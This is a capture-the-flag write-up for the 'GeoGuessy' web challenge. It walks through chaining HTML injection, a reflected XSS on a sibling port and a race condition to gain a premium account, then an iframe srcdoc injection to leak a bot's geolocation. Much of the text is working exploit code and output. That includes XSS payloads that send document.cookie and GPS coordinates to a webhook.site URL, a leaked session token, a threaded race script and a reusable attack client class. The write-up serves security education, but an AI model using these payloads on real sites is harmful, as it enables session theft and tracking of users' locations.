GeoGuessy
Description
This is NOT an OSINT challenge :) (PS: please have a working exploit locally before destroying the remote 🙏)
Introduction
I did not solve this challenge during the competition, but the writeups have provided fascinating insights. In this article, we’ll delve into two unintended solutions and also discuss the intended solution made by the challenge author.
Every solution generally involves three steps. However, there are several ways to complete the first step.
- Obtain a premium account.
- Using an XSS on another challenge (Unintended #1)
- Race condition on global user variable (Unintended #2)
- XS-Leaks using anchor text and lazy loading images (Intended solution)
- XSS against the bot to steal bot’s coordinates
- Obtain the flag
Obtain a premium account
Using an XSS on another challenge (Unintended #1)
Details based on deltaclock
’s solution.
Reflected XSS:
The challenge is running on chall.polygl0ts.ch:9011
, however there is a reflected XSS vulnerability in another challenge located on the same domain but a different port chall.polygl0ts.ch:9009
.
The reflected XSS on the second web challenge allows us to access and steal the cookies of the current challenge which do not have a simple reflected XSS.
http://%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E:pass@chall.polygl0ts.ch:9009
Keep in mind this XSS, we will use it later.
Bot redirection:
When you want to play with the bot, you can start the bot using the route /bot
and then, send an invitation link to the username of the bot. There is the workflow:
- Make the bot send an invitation to you and get the bot’s username.
- Send an invitation to the bot thanks to its username.
- The bot will call the
play
function and click on your invitation.
1
2
3
4
5
|
router.get("/bot", limiter, async (req, res) => {
if (!req.query.username) return res.status(404).json('what are you even doing lol')
botChallenge(req.query.username.toString(),premiumPin)
return res.status(200).json('successfully received :)');
});
|
1
2
3
4
5
6
7
8
9
10
11
12
|
async function play(page) { // admin accepts all challenges :)
while (true) {
try {
await sleep(100)
linkHandlers = await page.$x("//a[contains(text(), 'Click here to play!')]");
if (linkHandlers.length > 0) {
await linkHandlers[0].click();
}
} catch (e) {
}
}
}
|
Example of a user receiving a challenge invitation:
As you can see above, the bot will click on every anchor that contains the text Click here to play!
. You can use an HTML injection inside our username
to add another link to the invitation send to the bot.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
router.post('/challengeUser', async (req, res) => {
token = req.cookies["token"]
if (token) {
user = await db.getUserBy("token", token)
if (user && req.body["username"] && req.body["duelID"]) {
targetUser = await db.getUserBy("username", req.body["username"].toString())
if (!targetUser)
return res.status(401).json('who dis?');
chall = await db.getChallengeById(req.body["duelID"].toString())
if (!chall)
return res.status(401).json('huh?');
// user.username contains the HTML injection
db.addNotificationToUserToken(targetUser.token, `${user.username} has challenged you to a game! <a href="/challenge?id=${chall.id}">Click here to play!</a>`)
return res.status(200).json('yes ok');
}
}
return res.status(401).json('no');
});
|
1
2
3
4
|
socket.on("notifications", (data) => {
// ...
notificationsList.innerHTML = DOMPurify.sanitize(notifHTML);
});
|
We cannot directly insert an XSS in our username
as DOMPurify
(latest version) is used on the client-side application. But we can create a link in our username containing the text Click here to play!
. So, the bot will be redirected wherever we want!
Chaining redirection and XSS:
We can chain this bot redirection with the previous reflected XSS vulnerability to steal the bot’s cookie and become premium!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
WEBHOOK = "https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6"
REFLECTED_XSS = urllib.parse.quote_plus(f"<script>fetch('{WEBHOOK}?'.concat(document.cookie))</script>")
XSS_STEAL_TOKEN = f'<a href="http://{REFLECTED_XSS}:pass@chall.polygl0ts.ch:9009/">Click here to play!</a>'
def leak_admin_token():
"""
Leak admin token (cookies).
1. Register a user with an XSS inside its username.
2. Retrieve the admin username from the notification game send by the bot.
3. Send a duel challenge to the admin with the XSS.
4. Receive the admin token on our webhook thanks to the XSS.
"""
user_xss = User()
user_xss.register()
user_xss.change_username(XSS_STEAL_TOKEN)
challenge_id = user_xss.create_challenge()
user_recv_invit = User()
user_recv_invit.register()
user_recv_invit.bot_recv_invitation()
admin_username, _ = user_recv_invit.get_notification()
user_xss.challenge_user(challenge_id, admin_username)
leak_admin_token()
# https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6?token=9d31e6fb14d02f0cf646c230b650cd8a
|
Script execution output:
1
2
3
4
5
6
7
8
9
10
11
|
[20ecddd2690b291bba96c5d49432166c] Registered as: RoughHurt2208
[20ecddd2690b291bba96c5d49432166c] Username updated to: <a href="http://%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook.site%2Fc3a60869-6a80-4117-b7d4-693c4ba93af6%3F%27.concat%28document.cookie%29%29%3C%2Fscript%3E:pass@chall.polygl0ts.ch:9009/">Click here to play!</a>
[20ecddd2690b291bba96c5d49432166c] Challenge '0fb579eb211d294eba586d80fce5aadf' created with OpenLayersVersion:
[2995247d09fecd4f7bb3889d9c992799] Registered as: VigorousBoard1479
[2995247d09fecd4f7bb3889d9c992799] Bot send an invitation to: VigorousBoard1479
[2995247d09fecd4f7bb3889d9c992799] Connecting to socket.io...
[2995247d09fecd4f7bb3889d9c992799] Received: ['status', 'authSuccess']
[2995247d09fecd4f7bb3889d9c992799] Received: ['notifications', []]
[2995247d09fecd4f7bb3889d9c992799] Received: ['notifications', ['FrenchSize8523 has challenged you to a game! <a href="/challenge?id=4d6ca7d6e29aadd2eade7f8f82fefdff">Click here to play!</a>']]
[2995247d09fecd4f7bb3889d9c992799] Received a game request from 'FrenchSize8523' for challenge '4d6ca7d6e29aadd2eade7f8f82fefdff'.
[20ecddd2690b291bba96c5d49432166c] Challenge sent to: FrenchSize8523
|
Race condition on global user variable (Unintended #2)
Details based on strellic
’s solution.
Another method to obtain a premium account exploits the fact that the user
variable is global in the routes/index.js
file. By registering a user simultaneously as the bot enters a premium PIN to upgrade its account to premium, the attacker’s user account will become premium instead of the bot’s account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
router.get('/', async (req, res) => {
user = await db.getUserBy("token", req.cookies?.token)
// ...
});
router.get('/register', async (req, res) => {
token = crypto.randomBytes(16).toString('hex');
username = generateUsername()
// [...]
await db.registerUser(username, token);
res.setHeader('Set-Cookie',`token=${token}`);
return res.render('welcome', {username, token});
});
router.post('/updateUser', async (req, res) => {
token = req.cookies["token"]
if (token) {
user = await db.getUserBy("token", token)
if (user) {
enteredPremiumPin = req.body["premiumPin"]
if (enteredPremiumPin) {
enteredPremiumPin = enteredPremiumPin.toString()
if (enteredPremiumPin == premiumPin) {
user.isPremium = 1 // <---- Bot will trigger this
} else {
return res.status(401).json('wrong premium pin');
}
}
// [...]
}
return res.status(401).json('no');
});
|
To automate the race condition, I’ve developed a Python script, which you can see below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
import threading
import sys
from time import sleep
from user import User
def register_and_check():
"""Register a user and check if it is premium."""
user = User()
user.register()
sleep(1)
if user.check_premium():
print(f"[{user.token}] Premium user found: {user.username} !!!!!!!!!!!!!!!!!!!!!!")
sys.exit(0)
else:
print(f"[{user.token}] {user.username} is not premium :(")
def obtain_premium_user():
"""
Obtain a premium user.
1. Register a user and ask the bot to send an invitation to itself.
2. Register multiple users in parallel to exploit a race condition between 'updateUser' and 'register'.
3. Check if one of the user is premium.
"""
threads = []
user_run_bot = User()
user_run_bot.register()
user_run_bot.bot_recv_invitation()
number_of_users = 30
sleep(0.8)
for _ in range(number_of_users):
thread = threading.Thread(target=register_and_check)
threads.append(thread)
thread.start()
sleep(0.05)
for thread in threads:
thread.join()
if __name__ == "__main__":
obtain_premium_user()
|
Quickly after running the script, we successfully obtain a premium account!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
$ python3 workflow_race.py
[068ec97e07f77a7fc421d30f2ba5caec] Registered as: IgnorantArt4455
[068ec97e07f77a7fc421d30f2ba5caec] Bot send an invitation to: IgnorantArt4455
[697c5496912e36412f304e1909f056ff] Registered as: CaninePerception7932
[f4b0cb37bb77271f61e64ea9b5e6e2df] Registered as: CapitalGrade3691
[ca99279ac37efc688846ae3e0098779f] Registered as: ClumsyBet6554
[9b43ff4813c07feef7800654147d0b25] Registered as: DrearyAddition9269
[27191995a85630eaf5c3cbda7994cd67] Registered as: WorseDatabase538
[b6f8ee766ebef10b6e0030dbae2605bf] Registered as: CautiousWelcome9613
[80e4d9eb99ce13f7207d8c9a717ca560] Registered as: PuzzledAdvance6260
[6cbd9a953c0858c747886e030035801c] Registered as: NovelCancer8356
[11edf35e5df139c10659b084915d3531] Registered as: CleverRich7660
[4f9a9b63d4b023da140c50e222e0e44f] Registered as: HappyTelevision858
[4f9a9b63d4b023da140c50e222e0e44f] Registered as: HappyTelevision858
[eba79b4ca5d24695c8b0bb3b6e8e6266] Registered as: IgnorantBeing5948
[03d83a8ba88f12de211b6890167e7db4] Registered as: Far-offSentence6259
[aed123e8bbc24916191d744cd327b923] Registered as: TurbulentSignal2480
[527c2f33957a9dfda3d76480c1c6c1c2] Registered as: EllipticalType5668
[7a6175f88165a634c72d509f5811d1bf] Registered as: PrivateBike1436
[709d3daedcc12dfdb3de74559cf59ba3] Registered as: WonderfulSystem8145
[d3975b6af74dd2a562f13d3a97706f90] Registered as: InfamousIron2087
[5011edd48f834bd7321d55f9474ee1ce] Registered as: KaleidoscopicRemote4902
[dae7cc3f170097b24527ce9b71019c90] Registered as: HeartyImpress7113
[697c5496912e36412f304e1909f056ff] CaninePerception7932 is not premium :(
[d7befb049e344f99b420ed9e9ad5b0a6] Registered as: UnripeProof2269
[c8c4e0b2283ce5d90ea65de0f39d9310] Registered as: FineSignificance2232
[f4b0cb37bb77271f61e64ea9b5e6e2df] CapitalGrade3691 is not premium :(
[ca99279ac37efc688846ae3e0098779f] Premium user found: ClumsyBet6554 !!!!!!!!!!!!!!!!!!!!!!
|
XS-Leaks using anchor text and lazy loading images (Intended solution)
Details based on pilvar
’s solution (challenge author).
To be honest, I didn’t have the motivation to develop a full exploit script for this solution, so I will only outline the theoretical method of exploitation.
- Redirect the bot to your webhook using the
Click here to play!
technique as previously discussed.
- Open a new page within a window of fixed size featuring a scroll bar. The purpose of this is to hide the notifications section, we will see later why.
- Utilize Chrome’s Backward/Forward cache (
bfcache
) to return to the settings page with the premium PIN still present in the input form.
- Modify the opener URL using a Text Fragment (e.g.,
https://example.com#:~:text=[prefix-,]textStart[,textEnd][,-suffix]
) to search for the PIN within the page content.
- Before changing the opener URL, send a notification to the bot containing the numbers of the PIN you wish to find, and attach a
loading lazy
image pointing to your webhook.
- If the PIN in the
Text fragments
is correct, the page won’t scroll. Otherwise, the user will scroll to the notification area, triggering the automatic loading of the image.
Now you have a method to extract the nine digits of the PIN, for example, by revealing three digits at a time.
XSS against the bot
Now that we have a premium account (user.isPremium
is true
), we can specify the winText
and OpenLayersVersion
variables when we create challenge. A non-premium account can also create challenges but winText
and OpenLayersVersion
are hardcoded with a default value.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
router.post('/createChallenge', async (req, res) => {
token = req.cookies["token"]
if (token) {
user = await db.getUserBy("token", token)
if (user && req.body["longitude"] && req.body["latitude"] && req.body["img"]) {
chalId = crypto.randomBytes(16).toString('hex')
if (user.isPremium) {
if ((!req.body["winText"]) || (!req.body["OpenLayersVersion"]))
return res.status(401).json('huh');
winText = req.body["winText"].toString()
OpenLayersVersion = req.body["OpenLayersVersion"].toString()
} else {
winText = "Well played! :D"
OpenLayersVersion = "2.13"
}
await db.createChallenge(chalId, user.token, req.body["longitude"].toString(), req.body["latitude"].toString(), req.body["img"].toString(), OpenLayersVersion, winText)
return res.status(200).json(chalId);
}
}
return res.status(401).json('no');
});
|
The route to view a challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
sanitizeHTML = (input) => input.replaceAll("<","<").replaceAll(">",">")
router.get('/challenge', async (req, res) => {
if (!req.query.id)
return res.status(404).json('wher id');
chall = await db.getChallengeById(req.query.id.toString())
if (!chall)
return res.status(404).json('no');
libVersion = chall.OpenLayersVersion
img = chall.image
challId = chall.id
iframeAttributes = "sandbox=\"allow-scripts allow-same-origin\" " // don't trust third party libs
iframeAttributes += "src=\"/sandboxedChallenge?ver="+sanitizeHTML(libVersion)+"\" "
iframeAttributes += "width=\"70%\" height=\"97%\" "
res.render('challenge', {img, challId, iframeAttributes});
});
|
Challenge EJS page:
1
2
3
4
|
<div id="challId"><%= challId %></div>
<img src="data:image/png;base64,<%= img %>">
<iframe <%- iframeAttributes %>></iframe>
<button id="submitButton">Submit position</button>
|
As saw early, we can create a challenge and define the value of OpenLayersVersion
. The sanitizeHTML
prevents us to escape the iframe
tag, however we can add attributes to the HTML tag. Attributes such as onload
or onclick
are restricted by the Content-Security Policy (CSP). Nevertheless, the srcdoc
attribute can be utilized, which supersedes the already defined src
attribute. We can also add the geolocation
to the sandbox
attribute to be able to leak the GPS coordinates of the bot.
Within the srcdoc
attribute, <
can be utilized in place of <
, this will be still interpreted by our browser and allows us to bypass the sanitizeHTML
function. We will use a redirection to our webhook, because the CSP blocks direct javascript execution inside srcdoc
. Here’s how the final iframe looks like:
1
2
3
4
5
|
<iframe sandbox="allow-scripts allow-same-origin"
src="/sandboxedChallenge?ver="
srcdoc="<meta http-equiv=\'refresh\' content=\'1; url={WEBHOOK}\'>"
allow="geolocation {WEBHOOK}" x="" width="70%" height="97%">
</iframe>
|
Here’s the content of my XSS inside my webhook to steal the bot’s coordinates:
1
2
3
4
5
6
7
|
<body>
<script>
navigator.geolocation.getCurrentPosition((pos) => {
fetch(`https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6/lat=${pos.coords.latitude}&lon=${pos.coords.longitude}`)
});
</script>
</body>
|
Here’s my solve script for this part:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
XSS_STEAL_COORDS = f'" srcdoc="<meta http-equiv=\'refresh\' content=\'1; url={WEBHOOK}\'>" allow="geolocation {WEBHOOK}" x="'
def leak_admin_gps(admin_token):
"""
Leak admin GPS location.
1. Use the admin account to create a challenge with an XSS inside the OpenLayersVersion parameter.
2. Get the admin username by receiving the notification game send by the bot.
3. Send a challenge request to the admin with the XSS.
4. Receive the admin GPS location on our webhook thanks to the XSS.
"""
premium_user = User(token=admin_token)
challenge_id = premium_user.create_challenge(OpenLayersVersion=XSS_STEAL_COORDS)
user_recv_invit = User()
user_recv_invit.register()
user_recv_invit.bot_recv_invitation()
admin_username, _ = user_recv_invit.get_notification()
leak_admin_gps(admin_token="9d31e6fb14d02f0cf646c230b650cd8a")
# https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6/lat=60.792937&lon=11.100984
|
Here’s the output:
1
2
3
4
5
6
7
8
9
|
[823fa49e380846156a4e78cd3ba6c346] Challenge 'c556bfaa3e57e8234aff4fe559de1d49' created with OpenLayersVersion: " srcdoc="<meta http-equiv='refresh' content='1; url=https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6'>" allow="geolocation https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6" x="
[c941e1b04bd79d753359b57c09e36b6c] Registered as: SpiritedApartment9854
[c941e1b04bd79d753359b57c09e36b6c] Bot send an invitation to: SpiritedApartment9854
[c941e1b04bd79d753359b57c09e36b6c] Connecting to socket.io...
[c941e1b04bd79d753359b57c09e36b6c] Received: ['status', 'authSuccess']
[c941e1b04bd79d753359b57c09e36b6c] Received: ['notifications', []]
[c941e1b04bd79d753359b57c09e36b6c] Received: ['notifications', ['DistortedSlice3492 has challenged you to a game! <a href="/challenge?id=766ec00653beea3a2aa116a4f992f6e0">Click here to play!</a>']]
[c941e1b04bd79d753359b57c09e36b6c] Received a game request from 'DistortedSlice3492' for challenge '766ec00653beea3a2aa116a4f992f6e0'.
[823fa49e380846156a4e78cd3ba6c346] Challenge sent to: DistortedSlice3492
|
Obtain the flag
Once we have the bot coordinates, we can win the bot’s challenge and obtain the flag!
1
2
3
4
5
6
7
8
9
10
11
12
|
def get_flag(latitude, longitude):
"""Get the flag by solving a challenge with the admin GPS location."""
win_user = User()
win_user.register()
win_user.bot_recv_invitation()
_, challenge_id = win_user.get_notification()
flag = win_user.solve_challenge(challenge_id, latitude, longitude)
print(f"{flag = }")
get_flag(latitude="60.792937", longitude="11.100984")
# EPFL{as a wise man once said, https://twitter.com/arkark_/status/1712773241218183203}
|
Execution of the script:
1
2
3
4
5
6
7
8
9
|
[43ea8c0e81990644f9b7e30a12ddc2ec] Registered as: UnpleasantWinner2868
[43ea8c0e81990644f9b7e30a12ddc2ec] Bot send an invitation to: UnpleasantWinner2868
[43ea8c0e81990644f9b7e30a12ddc2ec] Connecting to socket.io...
[43ea8c0e81990644f9b7e30a12ddc2ec] Received: ['status', 'authSuccess']
[43ea8c0e81990644f9b7e30a12ddc2ec] Received: ['notifications', []]
[43ea8c0e81990644f9b7e30a12ddc2ec] Received: ['notifications', ['DirtyPeople3320 has challenged you to a game! <a href="/challenge?id=2fb16891fce844d41eab9df526abc1c6">Click here to play!</a>']]
[43ea8c0e81990644f9b7e30a12ddc2ec] Received a game request from 'DirtyPeople3320' for challenge '2fb16891fce844d41eab9df526abc1c6'.
[43ea8c0e81990644f9b7e30a12ddc2ec] Challenge '2fb16891fce844d41eab9df526abc1c6' solved with latitude: 60.792937 and longitude: 11.100984
flag = 'EPFL{as a wise man once said, https://twitter.com/arkark_/status/1712773241218183203}'
|
We can get the flag EPFL{as a wise man once said, https://twitter.com/arkark_/status/1712773241218183203}
!
For all my exploitation scripts, I used the following User
class that I developed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
import secrets
import requests
import socketio # python3 -m pip install "python-socketio[client]"
URL = "https://chall.polygl0ts.ch:9011"
URL = "http://localhost:9011"
class User:
def __init__(self, username=None, token=None):
self.sess = requests.Session()
self.username = username
self.token = token
self.sio = socketio.Client()
if self.token:
self.sess.cookies.set("token", self.token)
def check_premium(self):
"""Check if the user is premium."""
html = self.sess.get(URL).text
return '<div id="isPremium">1</div>' in html
def register(self):
"""Register a user on the application."""
html = self.sess.get(URL + "/register").text
self.username = html.split('<b id="username">')[1].split("</b>")[0]
self.token = html.split('<b id="token">')[1].split("</b>")[0]
print(f"[{self.token}] Registered as: {self.username}")
def change_username(self, new_username):
"""Change the username of the user."""
self.sess.post(URL + "/updateUser", json={
"username": new_username + secrets.token_hex(8), # to avoid duplicate username
})
self.username = new_username
print(f"[{self.token}] Username updated to: {self.username}")
def bot_recv_invitation(self, target_username=None):
"""Make the bot invite the user to a game."""
if target_username is None:
target_username = self.username
self.sess.get(URL + "/bot?username=" + target_username)
print(f"[{self.token}] Bot send an invitation to: {target_username}")
def challenge_user(self, challenge_id, target_username=None):
"""Challenge a user to a game."""
if target_username is None:
target_username = self.username
self.sess.post(URL + "/challengeUser", json={
"username": target_username,
"duelID": challenge_id
})
print(f"[{self.token}] Challenge sent to: {target_username}")
def get_notification(self):
"""Receive the notification game send by a game request."""
print(f"[{self.token}] Connecting to socket.io...")
with socketio.SimpleClient() as sio:
sio.connect(URL)
data = sio.receive()
if data[1] == "auth":
sio.emit("auth", self.token)
while True:
data = sio.receive()
print(f"[{self.token}] Received: {data}")
if data[0] == "notifications" and data[1]:
notifications = data[1][0]
username = notifications.split(" ")[0]
challenge_id = notifications.split("?id=")[1].split('"')[0]
print(f"[{self.token}] Received a game request from '{username}' for challenge '{challenge_id}'.")
sio.disconnect()
return username, challenge_id
def create_challenge(self, longitude="0.0", latitude="0.0", img="abc", winText="xyz", OpenLayersVersion=""):
"""Create a challenge."""
resp = self.sess.post(URL + "/createChallenge", json={
"longitude": longitude,
"latitude": latitude,
"img": img,
"winText": winText,
"OpenLayersVersion": OpenLayersVersion
})
challenge_id = resp.text.strip('"')
print(f"[{self.token}] Challenge '{challenge_id}' created with OpenLayersVersion: {OpenLayersVersion}")
return challenge_id
def solve_challenge(self, challenge_id, latitude, longitude):
"""Solve a challenge."""
resp = self.sess.post(URL + "/solveChallenge", json={
"challId": challenge_id,
"longitude": longitude,
"latitude": latitude
})
print(f"[{self.token}] Challenge '{challenge_id}' solved with latitude: {latitude} and longitude: {longitude}")
return resp.text.strip('"')
|